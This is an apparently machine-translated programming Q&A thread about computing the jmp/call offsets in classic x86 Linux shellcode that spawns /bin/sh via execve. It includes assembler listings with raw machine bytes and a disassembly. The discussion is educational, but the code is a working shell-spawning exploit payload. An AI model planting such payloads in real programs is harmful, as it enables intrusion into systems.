为了创建shellcode,作者用它们的计算值替换偏移占位符,即This
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
被翻译成这个
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
然而,我计算的偏移调用为0x2a或42字节(1 + 3 + 4 + 7 + 5 + 2 + 3 + 3 + 2 + 5 + 5 + 2)和偏移到弹出是-0x2a。
作者如何获得0x26和-0x2b?
答案 0 :(得分:2)
0x2a
是正确的,因为可以通过汇编来验证。对于call
,它显然会多5个字节(因为这是call
指令的长度),所以-0x2f
是正确的。有趣的是,你们两个都没有那么正确;)请注意,这些是机器代码中的偏移,而不是你可以提供给汇编器的东西。为此,您应该只使用标签:
1 0000 EB2A jmp label_call # 2 bytes
2 label_popl:
3 0002 5E popl %esi # 1 byte
4 0003 897608 movl %esi,0x8(%esi) # 3 bytes
5 0006 C6460700 movb $0x0,0x7(%esi) # 4 bytes
6 000a C7460C00 movl $0x0,0xc(%esi) # 7 bytes
6 000000
7 0011 B80B0000 movl $0xb,%eax # 5 bytes
7 00
8 0016 89F3 movl %esi,%ebx # 2 bytes
9 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
10 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
11 001e CD80 int $0x80 # 2 bytes
12 0020 B8010000 movl $0x1, %eax # 5 bytes
12 00
13 0025 BB000000 movl $0x0, %ebx # 5 bytes
13 00
14 002a CD80 int $0x80 # 2 bytes
15 label_call:
16 002c E8D1FFFF call label_popl # 5 bytes
16 FF
17 0031 2F62696E .string "/bin/sh" # 8 bytes
17 2F736800
或者使用.
相对地址,但需要不同的偏移量,因为.
指的是当前地址,而不是机器代码所需的下一条指令的地址:
1 0000 EB2A jmp .+0x2c # 2 bytes
2 0002 5E popl %esi # 1 byte
3 0003 897608 movl %esi,0x8(%esi) # 3 bytes
4 0006 C6460700 movb $0x0,0x7(%esi) # 4 bytes
5 000a C7460C00 movl $0x0,0xc(%esi) # 7 bytes
5 000000
6 0011 B80B0000 movl $0xb,%eax # 5 bytes
6 00
7 0016 89F3 movl %esi,%ebx # 2 bytes
8 0018 8D4E08 leal 0x8(%esi),%ecx # 3 bytes
9 001b 8D560C leal 0xc(%esi),%edx # 3 bytes
10 001e CD80 int $0x80 # 2 bytes
11 0020 B8010000 movl $0x1, %eax # 5 bytes
11 00
12 0025 BB000000 movl $0x0, %ebx # 5 bytes
12 00
13 002a CD80 int $0x80 # 2 bytes
14 002c E8D1FFFF call .-0x2a # 5 bytes
14 FF
15 0031 2F62696E .string "/bin/sh" # 8 bytes
15 2F736800
两种情况下的反汇编都是:
0: eb 2a jmp 0x2c
2: 5e pop %esi
3: 89 76 08 mov %esi,0x8(%esi)
6: c6 46 07 00 movb $0x0,0x7(%esi)
a: c7 46 0c 00 00 00 00 movl $0x0,0xc(%esi)
11: b8 0b 00 00 00 mov $0xb,%eax
16: 89 f3 mov %esi,%ebx
18: 8d 4e 08 lea 0x8(%esi),%ecx
1b: 8d 56 0c lea 0xc(%esi),%edx
1e: cd 80 int $0x80
20: b8 01 00 00 00 mov $0x1,%eax
25: bb 00 00 00 00 mov $0x0,%ebx
2a: cd 80 int $0x80
2c: e8 d1 ff ff ff call 0x2
确认正确的目标地址。
PS:shellcode中的零字节通常不是一个好主意。